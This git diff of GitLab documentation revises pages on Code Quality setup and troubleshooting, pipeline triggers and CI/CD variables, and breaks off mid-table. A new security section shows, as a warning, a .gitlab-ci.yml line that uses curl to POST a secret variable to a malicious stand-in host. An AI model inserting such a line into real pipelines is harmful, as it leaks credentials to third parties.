list of available environment variables, see -[Environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables). +- [Dependency Proxy](../../user/packages/dependency_proxy/index.md) enabled in the project's + group. -## Implementing a custom tool +To reference the Dependency Proxy, configure the following variables in the `.gitlab-ci.yml` file: -It's possible to have a custom tool provide Code Quality reports in GitLab. To -do this: +- `CODE_QUALITY_IMAGE` +- `CODECLIMATE_PREFIX` +- `CODECLIMATE_REGISTRY_USERNAME` +- `CODECLIMATE_REGISTRY_PASSWORD` -1. Define a job in your `.gitlab-ci.yml` file that generates the - [Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality). -1. Configure your tool to generate the Code Quality report artifact as a JSON - file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types). +For example: + +```yaml +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality: + variables: + CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24" + ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`. + CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/ + CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER + CODECLIMATE_REGISTRY_PASSWORD: $CI_DEPENDENCY_PROXY_PASSWORD +``` + +## Implement a custom tool -The Code Quality report artifact JSON file must contain an array of objects -with the following properties: +You can integrate a custom tool into GitLab to provide Code Quality reports. + +The Code Quality report artifact JSON file must contain an array of objects with the following +properties: | Name | Description | | ---------------------- | ----------------------------------------------------------------------------------------- | @@ -422,6 +454,18 @@ with the following properties: | `location.path` | The relative path to the file containing the code quality violation. | | `location.lines.begin` or `location.positions.begin.line` | The line on which the code quality violation occurred. | +NOTE: +Although the Code Climate specification supports more properties, those are ignored by GitLab. +The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark) +at the beginning of the file. + +To implement a custom Code Quality tool: + +1. Define a job in your `.gitlab-ci.yml` file that generates the + [Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality). +1. Configure the tool to generate the Code Quality report artifact as a JSON + file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types). + Example: ```json @@ -440,163 +484,33 @@ Example: ] ``` -NOTE: -Although the Code Climate spec supports more properties, those are ignored by -GitLab. -The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark) -at the beginning of the file. +## Using Analysis Plugins -## Code Quality reports **(PREMIUM)** +Code Quality functionality can be extended by using Code Climate +[Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines). -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21527) in GitLab 12.9. - -![Code Quality Report](img/code_quality_report_13_11.png) +For example, to use the [SonarJava analyzer](https://docs.codeclimate.com/docs/sonar-java): -After the Code Quality job completes: +1. Add a file named `.codeclimate.yml` to the root of your repository +1. Add to the `.codeclimate.yml` the [enablement code](https://docs.codeclimate.com/docs/sonar-java#enable-the-plugin) + for the plugin to the root of your repository: -- Potential changes to code quality are shown directly in the merge request. - The Code Quality widget in the merge request compares the reports from the base and head of the branch, - then lists any violations that are resolved or created when the branch is merged. -- The full JSON report is available as a - [downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) - for the `code_quality` job. -- The full list of code quality violations generated by a pipeline is shown in the - Code Quality tab of the Pipeline Details page. + ```yaml + version: "2" + plugins: + sonar-java: + enabled: true + ``` -## Generate an HTML report - -In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10), -it is possible to generate an HTML report file by setting the `REPORT_FORMAT` -CI/CD variable to `html`. This is useful if you just want to view the report in a more -human-readable format or to publish this artifact on GitLab Pages for even -easier reviewing. - -To generate both JSON and HTML report files, add another job to your template by using `extends: code_quality`: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml - -code_quality_html: - extends: code_quality - variables: - REPORT_FORMAT: html - artifacts: - paths: [gl-code-quality-report.html] -``` - -NOTE: -Adding a job means your code is scanned twice: once to generate a JSON report and once to generate an HTML report. - -You can also generate _only_ an HTML report instead of the standard JSON report. To do so, set `REPORT_FORMAT` to `html` in the existing job: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml - -code_quality: - variables: - REPORT_FORMAT: html - artifacts: - paths: [gl-code-quality-report.html] -``` - -WARNING: -If you only generate an HTML report, you can't see your results in the [merge request widget](#code-quality-widget), [pipeline report](#code-quality-reports), or [diff view](#code-quality-in-diff-view). -These features require a JSON report. - -## Extending functionality - -### Using Analysis Plugins - -Should there be a need to extend the default functionality provided by Code Quality, as stated in [Code Quality](#code-quality), [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) are available. - -For example, to use the [SonarJava analyzer](https://docs.codeclimate.com/docs/sonar-java), -add a file named `.codeclimate.yml` containing the [enablement code](https://docs.codeclimate.com/docs/sonar-java#enable-the-plugin) -for the plugin to the root of your repository: - -```yaml -version: "2" -plugins: - sonar-java: - enabled: true -``` - -This adds SonarJava to the `plugins:` section of the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template) +This adds SonarJava to the `plugins:` section of the +[default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template) included in your project. -Changes to the `plugins:` section do not affect the `exclude_patterns` section of the -default `.codeclimate.yml`. See the Code Climate documentation for +Changes to the `plugins:` section do not affect the `exclude_patterns` section of the default +`.codeclimate.yml`. See the Code Climate documentation on [excluding files and folders](https://docs.codeclimate.com/docs/excluding-files-and-folders) for more details. -Here's [an example project](https://gitlab.com/jheimbuck_gl/jh_java_example_project) that uses Code Quality with a `.codeclimate.yml` file. - -## Use a Code Quality image hosted in a registry with untrusted certificates - -If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a -Docker registry which uses a TLS certificate that is not trusted, such as -a self-signed certificate, you can see errors like the one below: - -```shell -$ docker pull --quiet "$CODE_QUALITY_IMAGE" -Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority -``` - -To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates) -by putting the certificate inside of the `/etc/docker/certs.d` -directory. - -This Docker daemon is exposed to the subsequent Code Quality Docker container in the -[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41) -and should be to exposed any other containers in which you want to have -your certificate configuration apply. - -### Docker - -If you have access to GitLab Runner configuration, add the directory as a -[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). For example: - -```toml -[[runners]] - ... - executor = "docker" - [runners.docker] - ... - privileged = true - volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"] -``` - -Replace `gitlab.example.com` with the actual domain of the registry. - -### Kubernetes - -If you have access to GitLab Runner configuration and the Kubernetes cluster, -you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes): - -1. Create a ConfigMap with the certificate: - - ```shell - kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt - ``` - -1. Update GitLab Runner `config.toml` to specify the ConfigMap: - - ```toml - [[runners]] - ... - executor = "kubernetes" - [runners.kubernetes] - image = "alpine:3.12" - privileged = true - [[runners.kubernetes.volumes.config_map]] - name = "registry-crt" - mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt" - sub_path = "gitlab.example.com.crt" - ``` - -Replace `gitlab.example.com` with the actual domain of the registry. - ## Troubleshooting ### Changing the default configuration has no effect @@ -611,28 +525,36 @@ is still used. This can be due to multiple reasons: -- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not - have anything to compare to yet, so no information can be displayed. It only displays - after future merge requests have something to compare to. -- Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your MR branch reports have nothing to compare to. In this situation you will see an error stating `Base pipeline codequality artifact not found`. +- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not have anything to + compare to yet, so no information can be displayed. It only displays after future merge requests + have something to compare to. +- Your pipeline is not set to run the code quality job on your target branch. If there is no report + generated from the target branch, your merge request branch reports have nothing to compare to. In this + situation you get an error stating `Base pipeline codequality artifact not found`. - If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), nothing is displayed. -- The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD - setting can cause the Code Quality artifacts to expire faster than desired. -- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the default branch that do not run the code quality job, this may cause the merge request widget to have no base report for comparison. -- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request. +- The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD setting can cause the Code + Quality artifacts to expire faster than desired. +- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the + default branch that do not run the code quality job, this may cause the merge request widget to + have no base report for comparison. +- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), + no report file is generated and nothing displays in the merge request. - Large `gl-code-quality-report.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). - As a work-around, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) - that are [ignored by GitLab](#implementing-a-custom-tool). You can: + As a workaround, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) + that are [ignored by GitLab](#implement-a-custom-tool). You can: - Configure the Code Quality tool to not output those types. - - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to - edit the `gl-code-quality-report.json` before the job completes. + - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to edit the + `gl-code-quality-report.json` before the job completes. ### Only a single Code Quality report is displayed, but more are defined -GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID). +Starting [in GitLab 15.7](https://gitlab.com/gitlab-org/gitlab/-/issues/340525), Code Quality combines the results from all jobs in a pipeline. + +In previous versions, GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID). If multiple jobs in a pipeline generate a code quality artifact, those of earlier jobs are ignored. -To avoid confusion, configure only one job to generate a `gl-code-quality-report.json`. + +To avoid confusion, configure only one job to generate a `gl-code-quality-report.json` file. ### RuboCop errors @@ -666,19 +588,21 @@ plugins: ### No Code Quality appears on merge requests when using custom tool -If your merge requests do not show any code quality changes when using a custom tool, -ensure that the line property is an `integer`. +If your merge requests do not show any Code Quality changes when using a custom tool, ensure that +the line property is an `integer`. -### Code Quality CI job with Code Climate plugins enabled fails with error +### Error: `Could not analyze code quality` -If you enabled any of the Code Climate plugins, and the Code Quality CI job fails with the error -below, it's likely the job takes longer than the default timeout of 900 seconds: +You might get the error: ```shell error: (CC::CLI::Analyze::EngineFailure) engine pmd ran for 900 seconds and was killed Could not analyze code quality for the repository at /code ``` +If you enabled any of the Code Climate plugins, and the Code Quality CI/CD job fails with this +error message, it's likely the job takes longer than the default timeout of 900 seconds: + To work around this problem, set `TIMEOUT_SECONDS` to a higher value in your `.gitlab.-ci.yml` file. For example: @@ -687,3 +611,79 @@ For example: variables: TIMEOUT_SECONDS: 3600 ``` + +### Using Code Quality with Kubernetes CI executor + +Code Quality requires a Docker in Docker setup to work. The Kubernetes executor already [has support for this](https://docs.gitlab.com/runner/executors/kubernetes.md#using-dockerdind). + +To ensure Code Quality jobs can run on a Kubernetes executor: + +- If you're using TLS to communicate with the Docker daemon, the executor [must be running in privileged mode](https://docs.gitlab.com/runner/executors/kubernetes.html#other-configtoml-settings). Additionally, the certificate directory must be [specified as a volume mount](../docker/using_docker_build.md#docker-in-docker-with-tls-enabled-in-kubernetes). +- It is possible that the DinD service doesn't start up fully before the Code Quality job starts. This is a limitation documented in +the [Kubernetes executor for GitLab Runner](https://docs.gitlab.com/runner/executors/kubernetes.html#docker-cannot-connect-to-the-docker-daemon-at-tcpdocker2375-is-the-docker-daemon-running) troubleshooting section. + +### Error: `x509: certificate signed by unknown authority` + +If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a Docker registry which uses a TLS +certificate that is not trusted, such as a self-signed certificate, you can see errors like the one +below: + +```shell +$ docker pull --quiet "$CODE_QUALITY_IMAGE" +Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority +``` + +To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates) +by putting the certificate inside of the `/etc/docker/certs.d` directory. + +This Docker daemon is exposed to the subsequent Code Quality Docker container in the +[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41) +and should be to exposed any other containers in which you want to have your certificate +configuration apply. + +#### Docker + +If you have access to GitLab Runner configuration, add the directory as a +[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). + +Replace `gitlab.example.com` with the actual domain of the registry. + +Example: + +```toml +[[runners]] + ... + executor = "docker" + [runners.docker] + ... + privileged = true + volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"] +``` + +#### Kubernetes + +If you have access to GitLab Runner configuration and the Kubernetes cluster, +you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes). + +Replace `gitlab.example.com` with the actual domain of the registry. + +1. Create a ConfigMap with the certificate: + + ```shell + kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt + ``` + +1. Update GitLab Runner `config.toml` to specify the ConfigMap: + + ```toml + [[runners]] + ... + executor = "kubernetes" + [runners.kubernetes] + image = "alpine:3.12" + privileged = true + [[runners.kubernetes.volumes.config_map]] + name = "registry-crt" + mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt" + sub_path = "gitlab.example.com.crt" + ``` diff --git a/doc/ci/testing/img/code_quality_host_bound_sequential.png b/doc/ci/testing/img/code_quality_host_bound_sequential.png deleted file mode 100644 index 2b31f3b42ee..00000000000 Binary files a/doc/ci/testing/img/code_quality_host_bound_sequential.png and /dev/null differ diff --git a/doc/ci/triggers/index.md b/doc/ci/triggers/index.md index a667836fee4..16530ea20b6 100644 --- a/doc/ci/triggers/index.md +++ b/doc/ci/triggers/index.md @@ -125,7 +125,7 @@ Replace: If you trigger a pipeline by using a webhook, you can access the webhook payload with the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md). -The payload is exposed as a [file-type variable](../variables/index.md#cicd-variable-types), +The payload is exposed as a [file-type variable](../variables/index.md#use-file-type-cicd-variables), so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command. ### Pass CI/CD variables in the API call diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 81e13192cef..6783ab1bfed 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -60,7 +60,7 @@ pipeline, and what their values are. A lot of pipeline configuration is dependen on variables, and verifying them is one of the fastest ways to find the source of a problem. -[Export the full list of variables](variables/index.md#list-all-environment-variables) +[Export the full list of variables](variables/index.md#list-all-variables) available in each problematic job. Check if the variables you expect are present, and check if their values are what you expect. @@ -249,7 +249,7 @@ The merge request status widget shows the **Merge** button and whether or not a request is ready to merge. If the merge request can't be merged, the reason for this is displayed. -If the pipeline is still running, the **Merge** button is replaced with the +If the pipeline is still running, **Merge** is replaced with the **Merge when pipeline succeeds** button. If [**Merge Trains**](pipelines/merge_trains.md) diff --git a/doc/ci/variables/img/ci_job_stage_output_example.png b/doc/ci/variables/img/ci_job_stage_output_example.png deleted file mode 100644 index 2344b19d9b3..00000000000 Binary files a/doc/ci/variables/img/ci_job_stage_output_example.png and /dev/null differ diff --git a/doc/ci/variables/img/custom_variables_output.png b/doc/ci/variables/img/custom_variables_output.png deleted file mode 100644 index 797e9ec07b9..00000000000 Binary files a/doc/ci/variables/img/custom_variables_output.png and /dev/null differ diff --git a/doc/ci/variables/img/inherited_group_variables_v12_5.png b/doc/ci/variables/img/inherited_group_variables_v12_5.png deleted file mode 100644 index cce024cfab8..00000000000 Binary files a/doc/ci/variables/img/inherited_group_variables_v12_5.png and /dev/null differ diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md index 10dfa0174a0..5a1426b1356 100644 --- a/doc/ci/variables/index.md +++ b/doc/ci/variables/index.md @@ -13,21 +13,19 @@ CI/CD variables are a type of environment variable. You can use them to: - Store values you want to re-use. - Avoid hard-coding values in your `.gitlab-ci.yml` file. -You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: +You can use: -- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). -- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). -- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). +- [Predefined CI/CD variables](#predefined-cicd-variables). +- [Variables defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). +- [Variables defined in project, group, or instance settings](#define-a-cicd-variable-in-the-ui). -NOTE: -Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). -To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: +You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), +or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). -```yaml -variables: - SA_PASSWORD: $SA_PASSWORD -``` +Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) +to execute scripts. Each shell has its own set of reserved variable names. + +Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). > For more information about advanced use of GitLab CI/CD: > @@ -38,53 +36,22 @@ variables: ## Predefined CI/CD variables -GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) -you can use in pipelines configuration and job scripts. - -### Use predefined CI/CD variables +GitLab CI/CD makes a set of [predefined CI/CD variables](predefined_variables.md) +available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables +in your `.gitlab-ci.yml` without declaring them first. -You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. - -This example shows how to output a job's stage by using the `CI_JOB_STAGE` -predefined variable: +For example: ```yaml -test_variable: +job1: stage: test script: - echo "$CI_JOB_STAGE" ``` -The script outputs the `stage` for the `test_variable`, which is `test`: +The script in this example outputs the stage for the `job1` job, which is `test`. -![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png) - -## Custom CI/CD variables - -You can create custom CI/CD variables: - -- For a project: - - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#add-a-cicd-variable-to-a-project). - - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). -- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). - -You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), -or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). - -There are two types of variables: [`File` or `Variable`](#cicd-variable-types). - -Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) -to execute scripts. Each shell has its own set of reserved variable names. - -Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). - -By default, pipelines from forked projects can't access CI/CD variables in the parent project. -If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), -all variables become available to the pipeline. - -### Create a custom CI/CD variable in the `.gitlab-ci.yml` file +## Define a CI/CD variable in the `.gitlab-ci.yml` file To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file, define the variable and value with `variables` keyword. @@ -125,33 +92,29 @@ Use the [`value` and `description`](../yaml/index.md#variablesdescription) keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Use variables in other variables +## Define a CI/CD variable in the UI -You can use variables inside other variables: +You can define CI/CD variables in the UI: -```yaml -job: - variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS"' - script: - - 'eval "$LS_CMD"' # Executes 'ls -al' -``` +- For a project: + - [In the project's settings](#for-a-project). + - [With the API](../../api/project_level_variables.md). +- For all projects in a group [in the group's setting](#for-a-group). +- For all projects in a GitLab instance [in the instance's settings](#for-an-instance). -#### Use the `$` character in variables +By default, pipelines from forked projects can't access CI/CD variables in the parent project. +If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), +all variables become available to the pipeline. -If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: +Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). +To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: ```yaml -job: - variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS" $$TMP_DIR' - script: - - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' +variables: + SA_PASSWORD: $SA_PASSWORD ``` -### Add a CI/CD variable to a project +### For a project > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. @@ -167,40 +130,28 @@ To add or update variables in the project settings: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md). + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). + - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). - **Mask variable** Optional. If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -After you create a variable, you can use it in the `.gitlab-ci.yml` file: +After you create a variable, you can use it in the [`.gitlab-ci.yml` configuration](../yaml/index.md) +or in [job scripts](#use-cicd-variables-in-job-scripts). -```yaml -test_variable: - stage: test - script: - - echo "$CI_JOB_STAGE" # calls a predefined variable - - echo "$TEST" # calls a custom variable of type `env_var` - - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file - - cat "$GREETING" # the temp file itself contains the variable value -``` - -The output is: - -![Output custom variable](img/custom_variables_output.png) - -### Add a CI/CD variable to a group +### For a group > - Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11 > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, groups can define a maximum of 200 CI/CD variables. -To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. Only group owners can add or update group-level CI/CD variables. +To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. +You must be a group owner. Use group variables to store secrets like passwords, SSH keys, and credentials, if you: -- Do **not** use an external key store. +- Do not use an external key store. - Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). To add a group variable: @@ -210,27 +161,19 @@ To add a group variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** Optional. `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). + - **Environment scope** Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** Optional. If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -#### View all group-level variables available in a project - -To view all the group-level variables available in a project: - -1. In the project, go to **Settings > CI/CD**. -1. Expand the **Variables** section. +The group variables that are available in a project are listed in the project's +**Settings > CI/CD > Variables** section. Variables from [subgroups](../../user/group/subgroups/index.md) +are recursively inherited. -Variables from [subgroups](../../user/group/subgroups/index.md) are recursively -inherited. - -![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png) - -### Add a CI/CD variable to an instance **(FREE SELF)** +### For an instance **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. @@ -248,90 +191,43 @@ To add an instance variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), - 10,000 characters is allowed. This is also bounded by the limits of the selected - runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed. - - **Type**: [`File` or `Variable`](#cicd-variable-types). + the value is limited to 10,000 characters, but also bounded by any limits in the + runner's operating system. In GitLab 13.0 to 13.2, the value is limited to 700 characters. + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** Optional. If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable). -### CI/CD variable types - -All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file -are `Variable` type. Project, group and instance CI/CD variables can be `Variable` -or `File` type. - -`Variable` type variables: - -- Consist of a key and value pair. -- Are made available in jobs as environment variables, with: - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value as the environment variable value. - -Use `File` type CI/CD variables for tools that need a file as input. - -`File` type variables: - -- Consist of a key, value and file. -- Are made available in jobs as environment variables, with - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value saved to a temporary file. - - The path to the temporary file as the environment variable value. - -Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) -and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -use `File` type variables for configuration. - -For example, if you have the following variables: - -- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. -- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. +The instance variables that are available in a project are listed in the project's +**Settings > CI/CD > Variables** section. -Use the variables in a job script like this: - -```shell -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" -``` +## CI/CD variable security -WARNING: -Be careful when assigning the value of a file variable to another variable. The other -variable takes the content of the file as its value, **not** the path to the file. -See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. - -An alternative to `File` type variables is to: - -- Read the value of a CI/CD variable (`variable` type). -- Save the value in a file. -- Use that file in your script. +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables +and send them to a third party server regardless of the masked setting. If the pipeline +runs on a [protected branch](../../user/project/protected_branches.md) or +[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. -```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -cat "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" -``` +Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: -#### Store multiple values in one variable +- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project). +- Merge the changes. -It is not possible to create a CI/CD variable that is an array of values, but you -can use shell scripting techniques for similar behavior. +Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them. -For example, you can store multiple variables separated by a space in a variable, -then loop through the values with a script: +The following example shows malicious code in a `.gitlab-ci.yml` file: ```yaml -job1: - variables: - FOLDERS: src test docs +build: script: - - | - for FOLDER in $FOLDERS - do - echo "The path is root/${FOLDER}" - done + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + ### Mask a CI/CD variable > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330650) in GitLab 13.12, the `~` character can be used in masked variables. @@ -360,7 +256,7 @@ WARNING: Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing variable values. The masking feature is "best-effort" and there to help when a variable is accidentally revealed. To make variables more secure, -consider using [external secrets](../secrets/index.md) and [file type variables](#cicd-variable-types) +consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) to prevent commands such as `env`/`printenv` from printing secret variables. Runner versions implement masking in different ways, some with technical @@ -372,7 +268,7 @@ limitations. Below is a table of such limitations. | v14.2.0 | v15.3.0 | The tail of a large secret 